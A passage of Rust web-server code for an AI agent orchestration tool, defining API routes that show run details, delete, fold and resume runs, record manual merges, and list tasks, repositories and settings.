2580            let waiting = open_runs.contains(&state.id);
2581            let live =
2582                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2583            let mut row = RunSummary::of(&state, waiting, live);
2584            row.superseded_by = superseded
2585                .get(&state.id)
2586                .map(String::as_str)
2587                .map(crate::run::short_of)
2588                .map(str::to_owned);
2589            row
2590        })
2591        .collect()
2592}
2593
2594/// A run as the detail route hands it to the phone.
2595///
2596/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2597/// the instruction as markdown, and the raw `instruction` field this struct
2598/// still carries (unchanged) is what a client wanting the exact bytes reads
2599/// instead.
2600#[derive(Debug, Serialize)]
2601struct RunDetailView {
2602    #[serde(flatten)]
2603    state: RunState,
2604    instruction_md: Vec<md::Node>,
2605    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
2606    /// mirror the records they come from, index for index; the raw strings
2607    /// stay in `state` and decide whether a block is shown at all.
2608    #[serde(flatten)]
2609    prose_md: RunProseMd,
2610    /// Whether a process is actually still driving this run: `"live"`,
2611    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
2612    ///
2613    /// `state.active` (flattened in above) is only ever cleared by the
2614    /// process that populated it; a killed one leaves its last wave's
2615    /// entries behind. Carrying this alongside is what lets the phone rail
2616    /// tell "this seat is still answering" from "this seat was still
2617    /// answering when whatever was driving this run died" without a second
2618    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2619    /// proof of either. A string rather than a bool on purpose: a daemon
2620    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
2621    /// and neither proven is `"unknown"` — folding that third case into
2622    /// either end of a bool is exactly the wrong call for a phone screen an
2623    /// operator uses to decide whether to wait or to act.
2624    live: crate::run::Liveness,
2625    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
2626    /// alongside the flattened `state` rather than inside it, since
2627    /// `RunState` has no business knowing which of its own methods a caller
2628    /// wants serialized.
2629    unmerged_by_design: bool,
2630    /// Same field and meaning as [`RunSummary::done`]: whether the status is
2631    /// terminal. The client's `landView` keys on it, and the flattened state
2632    /// has no such field, so without it a finished run's stale `open` PR
2633    /// would be painted as live on the detail page.
2634    done: bool,
2635    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
2636    /// route fills it from [`Queue::superseded`], the detail route from
2637    /// [`Queue::superseded_by`], and both read the same underlying task
2638    /// order. Without this the detail page could only ever show a red
2639    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
2640    /// with nothing anywhere saying so — an operator opening it had no way
2641    /// to tell "this is done elsewhere" from "this still needs a retry".
2642    superseded_by: Option<String>,
2643    /// The task's current attempt, when this run is an older one — resolved
2644    /// from [`Queue::latest_attempt`] and this run's own state, not left for
2645    /// the client to derive.
2646    ///
2647    /// Three things a client cannot safely do on its own drove this onto the
2648    /// server: it has to name the chain's *current head*, not just the next
2649    /// attempt (`superseded_by` above), because an intermediate retry in a
2650    /// longer chain can itself still be unresolved; it has to resolve to a
2651    /// real id rather than a short id a client would have to guess a full id
2652    /// from, which is ambiguous the moment two runs share a suffix; and it
2653    /// has to read that head's own status directly, because whether a run
2654    /// list a client happens to have cached even contains that attempt
2655    /// depends on a page limit this route knows nothing about.
2656    latest_attempt: Option<LatestAttempt>,
2657    /// The queue task this run belongs to, so the detail page can link back
2658    /// to the task's own page. `None` for a run nobody queued (`magi run`).
2659    task: Option<TaskRef>,
2660    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
2661    /// run recorded before origins existed. `origin` itself (flattened in
2662    /// with `state`) is `null` in that case.
2663    origin_label: String,
2664}
2665
2666/// A task named from a run's detail page.
2667#[derive(Debug, Serialize)]
2668struct TaskRef {
2669    id: String,
2670    short: String,
2671    title: String,
2672    /// [`Source::label`], e.g. `chat@a1b2`.
2673    source_label: String,
2674    /// Where the task came from, when that place has a page; see [`source_link`].
2675    source_link: Option<SourceLink>,
2676    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
2677    status: &'static str,
2678    attempts: usize,
2679    max_attempts: usize,
2680    /// This run is the last entry of the task's run list.
2681    is_latest: bool,
2682    /// The task's newest run, when it is not this one.
2683    latest: Option<RunBrief>,
2684    /// The run that finished a `done` task (merged, or already in the base).
2685    finished_by: Option<RunBrief>,
2686    /// The task is `done` but no run on record finished it: closed by hand.
2687    closed_by_hand: bool,
2688}
2689
2690/// The page that filed a task, as the UI links to it.
2691#[derive(Debug, PartialEq, Eq, Serialize)]
2692struct SourceLink {
2693    /// `chat` (a conversation) or `run` (a run's node).
2694    kind: &'static str,
2695    /// The full id, never the short one in the label.
2696    id: String,
2697    /// The hash route that opens it.
2698    href: String,
2699}
2700
2701/// Percent-encode everything outside the URL-unreserved set.
2702fn encode_segment(raw: &str) -> String {
2703    let mut out = String::with_capacity(raw.len());
2704    for b in raw.bytes() {
2705        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
2706            out.push(b as char);
2707        } else {
2708            out.push_str(&format!("%{b:02X}"));
2709        }
2710    }
2711    out
2712}
2713
2714/// The one place that decides where a task's source links to. A chat
2715/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
2716/// a person or an imported issue has no page, so no link.
2717fn source_link(source: &Source) -> Option<SourceLink> {
2718    let Source::Agent { run, node } = source else {
2719        return None;
2720    };
2721    let (kind, route) = if node == crate::queue::CHAT_NODE {
2722        ("chat", "chat")
2723    } else {
2724        ("run", "runs")
2725    };
2726    Some(SourceLink {
2727        kind,
2728        id: run.clone(),
2729        href: format!("#/{route}/{}", encode_segment(run)),
2730    })
2731}
2732
2733/// Another run of the same task, as named from a run's detail page.
2734#[derive(Debug, Serialize)]
2735struct RunBrief {
2736    id: String,
2737    short: String,
2738    /// `None` when the run's record cannot be read.
2739    status: Option<&'static str>,
2740    /// The task-page wording for how that pass ended.
2741    outcome: String,
2742}
2743
2744/// The task's overall outcome as seen from `this_run`'s page, classified with
2745/// the same exits the task page's flowchart uses.
2746fn task_outcome(
2747    task: &Task,
2748    this_run: &str,
2749    max_attempts: usize,
2750    read: impl Fn(&str) -> Option<RunState>,
2751) -> TaskRef {
2752    let history = task_history(task, read);
2753    let brief = |h: &TaskRunView| RunBrief {
2754        id: h.id.clone(),
2755        short: h.short.clone(),
2756        status: h.status,
2757        outcome: h.exit.edge_label(h.status),
2758    };
2759    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
2760    let latest = if is_latest {
2761        None
2762    } else {
2763        history.last().map(brief)
2764    };
2765    let done = task.status == TaskStatus::Done;
2766    let finished_by = done
2767        .then(|| {
2768            history
2769                .iter()
2770                .rev()
2771                .find(|h| {
2772                    matches!(
2773                        h.exit,
2774                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
2775                    )
2776                })
2777                .map(brief)
2778        })
2779        .flatten();
2780    TaskRef {
2781        short: task.short().to_owned(),
2782        title: task.title.clone(),
2783        id: task.id.clone(),
2784        source_label: task.source.label(),
2785        source_link: source_link(&task.source),
2786        status: task.status.as_str(),
2787        attempts: task.attempts,
2788        max_attempts,
2789        is_latest,
2790        latest,
2791        closed_by_hand: done && finished_by.is_none(),
2792        finished_by,
2793    }
2794}
2795
2796/// The task's current attempt, as seen from an older one's detail page.
2797#[derive(Debug, Serialize)]
2798struct LatestAttempt {
2799    id: String,
2800    short: String,
2801    /// Whether this attempt itself settled with a result nobody needs to
2802    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
2803    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
2804    /// unconfirmed claim that no change was needed, which is exactly why it
2805    /// settles the task through `Held` rather than `Done` and still waits on
2806    /// a human to check the evidence; showing an older run as "finished
2807    /// elsewhere" on the strength of an unverified claim would bury the
2808    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
2809    /// in-flight status are excluded because they are exactly the
2810    /// unresolved states this field exists to tell apart from a real finish.
2811    resolved: bool,
2812    /// The attempt's own recorded status, so the page can say where it
2813    /// stands while it is not resolved yet.
2814    status: RunStatus,
2815    /// Whether that status is terminal (nothing is still running it).
2816    done: bool,
2817}
2818
2819/// Markdown for the free-text prose of a run, parallel to `RunState`.
2820#[derive(Debug, Default, Serialize)]
2821struct RunProseMd {
2822    /// `None` when the run has no design deliberation.
2823    advice_md: Option<AdviceMd>,
2824    /// One entry per candidate: the summary.
2825    candidate_summaries_md: Vec<Vec<md::Node>>,
2826    /// One entry per review round, in `reviews` order.
2827    reviews_md: Vec<RoundMd>,
2828}
2829
2830#[derive(Debug, Default, Serialize)]
2831struct AdviceMd {
2832    synthesis: Vec<md::Node>,
2833    /// One per record; empty for a seat with no proposal.
2834    approaches: Vec<Vec<md::Node>>,
2835}
2836
2837#[derive(Debug, Default, Serialize)]
2838struct RoundMd {
2839    /// One per reviewer record.
2840    reviewers: Vec<ReviewerMd>,
2841    /// One per `reconsideration` entry: the reason.
2842    reconsideration: Vec<Vec<md::Node>>,
2843    fix: Option<FixMd>,
2844}
2845
2846#[derive(Debug, Default, Serialize)]
2847struct ReviewerMd {
2848    summary: Vec<md::Node>,
2849    /// One per finding, in recorded order (not the display order).
2850    findings: Vec<Vec<md::Node>>,
2851}
2852
2853#[derive(Debug, Default, Serialize)]
2854struct FixMd {
2855    notes: Vec<md::Node>,
2856    /// One per rejection: the argument.
2857    rejected: Vec<Vec<md::Node>>,
2858}
2859
2860/// Parse a run's agent-written prose; a pure function of the state.
2861fn run_prose_md(state: &RunState) -> RunProseMd {
2862    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
2863    RunProseMd {
2864        advice_md: state.advice.as_ref().map(|a| AdviceMd {
2865            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
2866            approaches: a
2867                .records
2868                .iter()
2869                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
2870                .collect(),
2871        }),
2872        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
2873        reviews_md: state
2874            .reviews
2875            .iter()
2876            .map(|round| RoundMd {
2877                reviewers: round
2878                    .reviews
2879                    .iter()
2880                    .map(|rec| ReviewerMd {
2881                        summary: nodes(&rec.summary),
2882                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
2883                    })
2884                    .collect(),
2885                reconsideration: round
2886                    .reconsideration
2887                    .iter()
2888                    .map(|rv| nodes(&rv.reason))
2889                    .collect(),
2890                fix: round.fix.as_ref().map(|fix| FixMd {
2891                    notes: nodes(&fix.notes),
2892                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
2893                }),
2894            })
2895            .collect(),
2896    }
2897}
2898
2899impl RunDetailView {
2900    fn of(
2901        state: RunState,
2902        live: crate::run::Liveness,
2903        superseded_by: Option<String>,
2904        latest_attempt: Option<LatestAttempt>,
2905        task: Option<TaskRef>,
2906    ) -> Self {
2907        Self {
2908            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2909            prose_md: run_prose_md(&state),
2910            origin_label: crate::run::origin_label(state.origin.as_ref()),
2911            live,
2912            unmerged_by_design: state.unmerged_by_design(),
2913            done: state.status.done(),
2914            superseded_by,
2915            latest_attempt,
2916            task,
2917            state,
2918        }
2919    }
2920}
2921
2922async fn run_detail(
2923    State(ui): State<Arc<Ui>>,
2924    Path(id): Path<String>,
2925) -> ApiResult<Json<RunDetailView>> {
2926    blocking(move || {
2927        let id = resolve_run(&ui.runs, &id)?;
2928        let state = read_run(&ui.runs, &id)?;
2929        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2930        let live = state.liveness(daemon_claims);
2931        let superseded_by = ui
2932            .queue
2933            .superseded_by(&id)
2934            .as_deref()
2935            .map(crate::run::short_of)
2936            .map(str::to_owned);
2937        // Best-effort: an unreadable head (mid-write, or deleted) just means
2938        // this run's own status stands on its own, same as no later attempt
2939        // existing at all.
2940        let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2941            read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2942                short: head.short().to_owned(),
2943                resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2944                status: head.status,
2945                done: head.status.done(),
2946                id: head.id,
2947            })
2948        });
2949        let max_attempts = daemon::Opts::default().max_attempts;
2950        let task = ui
2951            .queue
2952            .list()
2953            .into_iter()
2954            .find(|t| t.runs.contains(&id))
2955            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
2956        Ok(Json(RunDetailView::of(
2957            state,
2958            live,
2959            superseded_by,
2960            latest_attempt,
2961            task,
2962        )))
2963    })
2964    .await
2965}
2966
2967/// `DELETE /api/runs/{id}`.
2968///
2969/// Remove a finished, folded run directory along with its artifacts.
2970/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2971/// deleted. This never touches git worktrees or branches - except for a run
2972/// whose state this build cannot read at all, where there is no candidate
2973/// list to check and the wholesale removal `magi fold` already uses for that
2974/// case is the only meaningful "delete".
2975async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2976    let (id, unreadable) = {
2977        let ui = Arc::clone(&ui);
2978        blocking(move || {
2979            let id = resolve_run(&ui.runs, &id)?;
2980            match read_run(&ui.runs, &id) {
2981                Ok(state) => {
2982                    let in_flight =
2983                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2984                    state
2985                        .ensure_can_delete(in_flight)
2986                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2987                    let dir = ui.runs.join(&id);
2988                    std::fs::remove_dir_all(&dir)
2989                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2990                    Ok((id, false))
2991                }
2992                Err(_) => {
2993                    // Unreadable: there is no candidate list to guard on, so
2994                    // a live daemon's claim is the only thing left to check -
2995                    // the same rule `run_fold` applies for the same reason.
2996                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2997                        return Err(ApiError::conflict(format!(
2998                            "run {id} is being worked on by a live daemon right now"
2999                        )));
3000                    }
3001                    Ok((id, true))
3002                }
3003            }
3004        })
3005        .await?
3006    };
3007    if unreadable {
3008        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3009            .await
3010            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3011    }
3012    let ui = Arc::clone(&ui);
3013    let done = id.clone();
3014    blocking(move || {
3015        // The agent that asked died with the run, so an open question would
3016        // keep asking the operator for a decision nobody can deliver.
3017        ui.questions.abandon_for_run(
3018            &done,
3019            &format!("run {done} was deleted, so nothing is waiting for this answer"),
3020        )?;
3021        Ok(())
3022    })
3023    .await?;
3024    Ok(StatusCode::NO_CONTENT)
3025}
3026
3027/// `POST /api/runs/{id}/fold`.
3028///
3029/// Remove a run's candidate worktrees and branches, keeping its record.
3030///
3031/// This exists because the deck answered "delete this run" with *"Candidates
3032/// must be folded before deleting. Run `magi fold` first."* — a phone being
3033/// told to open a terminal, in the one product whose point is that it does
3034/// not need one. The runs an operator most wants gone are the stalled and
3035/// blocked ones, and those are exactly the runs still holding worktrees:
3036/// three of them here held 53 GB.
3037///
3038/// The winner's tree goes too. A fold is what someone asks for when they are
3039/// finished with a run, and leaving one tree behind would leave the delete
3040/// button disabled for the same reason as before.
3041///
3042/// Refused while a live daemon is working on the run, on the rule that guards
3043/// deletion: folding underneath a running agent would pull the tree it is
3044/// editing out from under it.
3045///
3046/// A run whose state this build cannot read at all falls back to
3047/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
3048/// selectively, so the whole record's worktree goes wholesale, exactly what
3049/// `magi fold` does on the command line for the same run.
3050async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
3051    let (id, state) = {
3052        let ui = Arc::clone(&ui);
3053        blocking(move || {
3054            let id = resolve_run(&ui.runs, &id)?;
3055            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3056                return Err(ApiError::conflict(format!(
3057                    "run {id} is being worked on by a live daemon right now"
3058                )));
3059            }
3060            let state = read_run(&ui.runs, &id).ok();
3061            Ok((id, state))
3062        })
3063        .await?
3064    };
3065    let removed = match state {
3066        Some(mut state) => {
3067            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3068                .await
3069                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3070            // Nothing left to remove is not the same thing as nothing left to
3071            // do — see `clean::clear_abandoned_active`'s own doc for the run
3072            // this exists for: worktrees already gone, but a killed process
3073            // left active seats nobody will ever answer for.
3074            if removed.is_empty() {
3075                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
3076                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3077            }
3078            removed
3079        }
3080        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
3081            .await
3082            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
3083    };
3084    Ok(Json(FoldView {
3085        run: id,
3086        removed_count: removed.len(),
3087        removed,
3088    }))
3089}
3090
3091/// What a fold took away, so the deck can say so rather than only re-render.
3092#[derive(Debug, Serialize)]
3093struct FoldView {
3094    run: String,
3095    /// Worktree paths and branch names removed, in the order they went.
3096    removed: Vec<String>,
3097    removed_count: usize,
3098}
3099
3100/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
3101/// merged outside of `land::land`'s own loop.
3102#[derive(Debug, Deserialize)]
3103struct FoldMergedBody {
3104    #[serde(default)]
3105    pr_url: String,
3106}
3107
3108/// `POST /api/runs/{id}/fold-merged`.
3109///
3110/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
3111/// `Blocked` with `merge: null` because magi never got as far as opening a
3112/// pull request of its own (a title over GitHub's length limit, `gh pr
3113/// create` unreachable, a stale token), which the operator then finished by
3114/// hand on a pull request magi never recorded. The "Run actions" sheet used
3115/// to have no way to tell it about that pull request short of a terminal and
3116/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
3117/// this exists and what it deliberately does not do (`bump::after_merge`).
3118///
3119/// Refused, like [`run_fold`], while a live daemon is working on the run: the
3120/// correction rewrites the same `status`/`merge` fields a running graph would
3121/// be writing to on its own.
3122///
3123/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
3124/// calls plus a fold, seconds of work, and the phone should get its answer
3125/// (which pull request it recorded, and what changed) in the same round
3126/// trip rather than learning it from the change stream.
3127async fn run_fold_merged(
3128    State(ui): State<Arc<Ui>>,
3129    Path(id): Path<String>,
3130    Json(body): Json<FoldMergedBody>,
3131) -> ApiResult<Json<FoldMergedView>> {
3132    let pr_url = body.pr_url.trim().to_owned();
3133    if pr_url.is_empty() {
3134        return Err(ApiError::bad_request("pr_url is required"));
3135    }
3136    let (id, mut state) = {
3137        let ui = Arc::clone(&ui);
3138        blocking(move || {
3139            let id = resolve_run(&ui.runs, &id)?;
3140            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
3141                return Err(ApiError::conflict(format!(
3142                    "run {id} is being worked on by a live daemon right now"
3143                )));
3144            }
3145            let state = read_run(&ui.runs, &id)?;
3146            Ok((id, state))
3147        })
3148        .await?
3149    };
3150    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
3151        .await
3152        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
3153    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
3154        .await
3155        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
3156    Ok(Json(FoldMergedView {
3157        run: id,
3158        before: before.as_str().to_owned(),
3159        after: after.as_str().to_owned(),
3160        removed,
3161    }))
3162}
3163
3164/// What [`run_fold_merged`] did, so the deck can say so.
3165#[derive(Debug, Serialize)]
3166struct FoldMergedView {
3167    run: String,
3168    /// `status` before the correction — normally `"blocked"`.
3169    before: String,
3170    /// `status` after — normally `"merged"`.
3171    after: String,
3172    /// Worktree paths and branch names the trailing fold removed.
3173    removed: Vec<String>,
3174}
3175
3176/// `POST /api/runs/{id}/resume`.
3177///
3178/// Carry a stalled run on from where it stopped, in the background.
3179///
3180/// A stalled card says "the work is kept" and used to offer no way to act on
3181/// that: the candidates are built and paid for, and continuing means re-asking
3182/// only the seats whose absence collapsed the panel. The alternative an
3183/// operator actually had was releasing the task, which competes three fresh
3184/// implementations against work that already exists.
3185///
3186/// **202, not 200.** A resume runs agents for minutes; holding the connection
3187/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
3188/// phone learns the outcome from the change stream.
3189///
3190/// Refused when the loop is running at all, not merely when it is on this run.
3191/// The scarce resource is the agent CLIs' quota, and a tap that quietly
3192/// started a second graph on top of whatever the loop is already driving —
3193/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
3194/// allows — would spend that quota twice over for no extra throughput.
3195async fn run_resume(
3196    State(ui): State<Arc<Ui>>,
3197    Path(id): Path<String>,
3198) -> ApiResult<(StatusCode, Json<RunSummary>)> {
3199    let (id, state) = {
3200        let ui = Arc::clone(&ui);
3201        blocking(move || {
3202            let id = resolve_run(&ui.runs, &id)?;
3203            let state = read_run(&ui.runs, &id)?;
3204            Ok((id, state))
3205        })
3206        .await?
3207    };
3208    if let Some(to) = &state.released_to {
3209        return Err(ApiError::conflict(format!(
3210            "run {} can no longer be resumed: its worktree was released to run {}, which \
3211             took the branch over.",
3212            state.short(),
3213            crate::run::short_of(to)
3214        )));
3215    }
3216    if !state.status.resumable() {
3217        return Err(ApiError::conflict(format!(
3218            "run {} is `{}`, and only a stalled or blocked run can be resumed",
3219            state.short(),
3220            status_word(state.status)
3221        )));
3222    }
3223    // Refused whenever the loop is running anything at all, not merely when
3224    // it is on this run: a manual resume racing a loop-driven run over the
3225    // same agent quota is the thing this guard exists to prevent, whether
3226    // the loop's own concurrency is one run or several.
3227    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3228        .into_iter()
3229        .next()
3230    {
3231        return Err(ApiError::conflict(format!(
3232            "the loop is running run {} right now; stop it first, or wait for \
3233             it to finish, before resuming a run by hand.",
3234            crate::run::short_of(&work.run)
3235        )));
3236    }
3237    let _resume = ui.begin_resume(&id)?;
3238
3239    // The same shape the list route returns, so the phone updates the card it
3240    // already has rather than learning a second schema for one button.
3241    let queued = RunSummary::of(
3242        &state,
3243        !ui.questions.open_for(&id).is_empty(),
3244        state.liveness(false),
3245    );
3246    let run = id.clone();
3247    tokio::spawn(async move {
3248        let _resume = _resume;
3249        match crate::graph::Runner::resume(&run) {
3250            Ok(mut runner) => {
3251                if let Err(e) = runner.execute().await {
3252                    tracing::warn!("resume of run {run} stopped: {e:#}");
3253                }
3254            }
3255            // The run's own record is what the phone reads; this line is for
3256            // the operator's terminal.
3257            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
3258        }
3259    });
3260    Ok((StatusCode::ACCEPTED, Json(queued)))
3261}
3262
3263async fn run_report(
3264    State(ui): State<Arc<Ui>>,
3265    Path(id): Path<String>,
3266) -> ApiResult<impl IntoResponse> {
3267    let text = blocking(move || {
3268        let id = resolve_run(&ui.runs, &id)?;
3269        // Colour is off for the whole process, set once in `serve`. Rendering
3270        // is CPU work over the full state, which is the other reason this is
3271        // not on the executor.
3272        let state = read_run(&ui.runs, &id)?;
3273        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3274        let live = state.liveness(daemon_claims);
3275        Ok(format!(
3276            "{}{}",
3277            report::run(&state),
3278            report::active_seats(&state, live)
3279        ))
3280    })
3281    .await?;
3282    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
3283}
3284
3285/// The structured twin of [`run_report`]: the same state, as sections the UI
3286/// draws as cards. An unreadable run answers with the same error the text
3287/// route does; it is never turned into an empty report.
3288async fn run_report_json(
3289    State(ui): State<Arc<Ui>>,
3290    Path(id): Path<String>,
3291) -> ApiResult<Json<crate::report_view::RunReportView>> {
3292    let view = blocking(move || {
3293        let id = resolve_run(&ui.runs, &id)?;
3294        let state = read_run(&ui.runs, &id)?;
3295        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
3296        Ok(crate::report_view::build(
3297            &state,
3298            state.liveness(daemon_claims),
3299        ))
3300    })
3301    .await?;
3302    Ok(Json(view))
3303}
3304
3305/// A task as the UI sees it.
3306///
3307/// The whole task, plus the two things the client would otherwise have to
3308/// reimplement: the human-readable source and the status string. Nothing is
3309/// removed - the phone shows `last_error` and the run history verbatim.
3310#[derive(Debug, Serialize)]
3311struct TaskView {
3312    #[serde(flatten)]
3313    task: Task,
3314    source_label: String,
3315    source_link: Option<SourceLink>,
3316    status_str: &'static str,
3317    /// The instruction, parsed as markdown, for the Queue card's "Full
3318    /// instruction" panel. `task.instruction` is unchanged and still carries
3319    /// the raw text.
3320    instruction_md: Vec<md::Node>,
3321    /// For a blocked task, what it waits on with each dependency's state, e.g.
3322    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
3323    /// recurses; empty for every other status.
3324    waits_on: Vec<String>,
3325    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
3326    /// behind - non-empty means nothing in the loop will ever run it.
3327    stuck_roots: Vec<String>,
3328}
3329
3330impl From<Task> for TaskView {
3331    fn from(task: Task) -> Self {
3332        Self {
3333            source_label: task.source.label(),
3334            source_link: source_link(&task.source),
3335            status_str: task.status.as_str(),
3336            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
3337            waits_on: Vec::new(),
3338            stuck_roots: Vec::new(),
3339            task,
3340        }
3341    }
3342}
3343
3344impl TaskView {
3345    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
3346        let waits_on = inv.waits_on(&task);
3347        let stuck_roots = inv
3348            .stuck_roots(&task)
3349            .iter()
3350            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
3351            .collect();
3352        Self {
3353            waits_on,
3354            stuck_roots,
3355            ..Self::from(task)
3356        }
3357    }
3358}
3359
3360/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
3361/// its absence, leaves the cache to decide.
3362#[derive(Debug, Default, Deserialize)]
3363#[serde(default)]
3364struct ReposQuery {
3365    refresh: u8,
3366}
3367
3368/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
3369/// listing `magi repos` prints at a terminal.
3370///
3371/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
3372/// so an edit to `magi.toml` takes effect without a restart, the same
3373/// reasoning [`config_for`] documents for the talk routes.
3374async fn repos_list(
3375    State(ui): State<Arc<Ui>>,
3376    Query(q): Query<ReposQuery>,
3377) -> ApiResult<Json<Vec<repos::Repo>>> {
3378    let refresh = q.refresh != 0;
3379    blocking(move || {
3380        let (cfg, _) = Config::discover(&ui.repo, None)?;
3381        Ok(Json(ui.repos_cache.list(
3382            &cfg.repos.roots,
3383            Duration::from_secs(cfg.repos.scan_ttl),
3384            refresh,
3385        )))
3386    })
3387    .await
3388}
3389
3390/// `GET /api/settings` - the effective role assignments and roster, with the
3391/// layer each came from. A config that fails to load answers 200 with an
3392/// `error`, so the screen can say so instead of drawing empty lists.
3393async fn settings_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<settings::SettingsView>> {
3394    blocking(move || Ok(Json(settings::view(&ui.repo, ui.machine_config.as_deref())))).await
3395}
3396
3397/// The body of `PUT /api/settings/roles`.
3398#[derive(Debug, Deserialize)]
3399#[serde(deny_unknown_fields)]
3400struct RolesBody {
3401    /// The `revision` the client last read.
3402    revision: String,
3403    /// Role key to its new ids; an empty list resets the key to its default.
3404    roles: std::collections::BTreeMap<String, Vec<String>>,
3405}
3406
3407/// `PUT /api/settings/roles` - save role assignments to the machine config.
3408///
3409/// The write target is `ui.machine_config` and nothing in the body can change
3410/// it. A stale `revision` is a 409; anything the re-loaded config rejects is a
3411/// 422 with the reason in words.
3412async fn settings_put_roles(
3413    State(ui): State<Arc<Ui>>,
3414    body: std::result::Result<Json<RolesBody>, JsonRejection>,
3415) -> ApiResult<Json<settings::SettingsView>> {
3416    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3417    blocking(move || {
3418        settings::save(
3419            &ui.repo,
3420            ui.machine_config.as_deref(),
3421            &body.revision,
3422            &body.roles,
3423        )
3424        .map(Json)
3425        .map_err(|e| match e {
3426            settings::SaveError::Conflict(m) => ApiError::conflict(m),
3427            settings::SaveError::Refused(m) => ApiError {
3428                status: StatusCode::UNPROCESSABLE_ENTITY,
3429                message: m,
3430            },
3431            settings::SaveError::Internal(m) => ApiError::internal(m),
3432        })
3433    })
3434    .await
3435}
3436
3437async fn queue_list(
3438    State(ui): State<Arc<Ui>>,
3439    Query(q): Query<ListQuery>,
3440) -> ApiResult<Json<Vec<TaskView>>> {
3441    blocking(move || {
3442        let tasks = ui.queue.list();
3443        let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
3444        Ok(Json(
3445            tasks
3446                .into_iter()
3447                .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
3448                .map(|t| TaskView::with_inventory(t, &inv))
3449                .collect(),
3450        ))
3451    })
3452    .await
3453}
3454
3455/// Most hits one search returns. The rest are counted in `total`.
3456const SEARCH_MAX_HITS: usize = 100;
3457/// Longest query, in characters, and most terms it is split into.
3458const SEARCH_MAX_QUERY: usize = 200;
3459const SEARCH_MAX_TERMS: usize = 8;
3460/// Characters of context kept before the first hit, and after it.
3461const SNIPPET_BEFORE: usize = 50;
3462const SNIPPET_AFTER: usize = 110;
3463
3464/// `?scope=runs|tasks&q=...`
3465#[derive(Debug, Deserialize)]
3466struct SearchQuery {
3467    #[serde(default)]
3468    scope: String,
3469    #[serde(default)]
3470    q: String,
3471}
3472
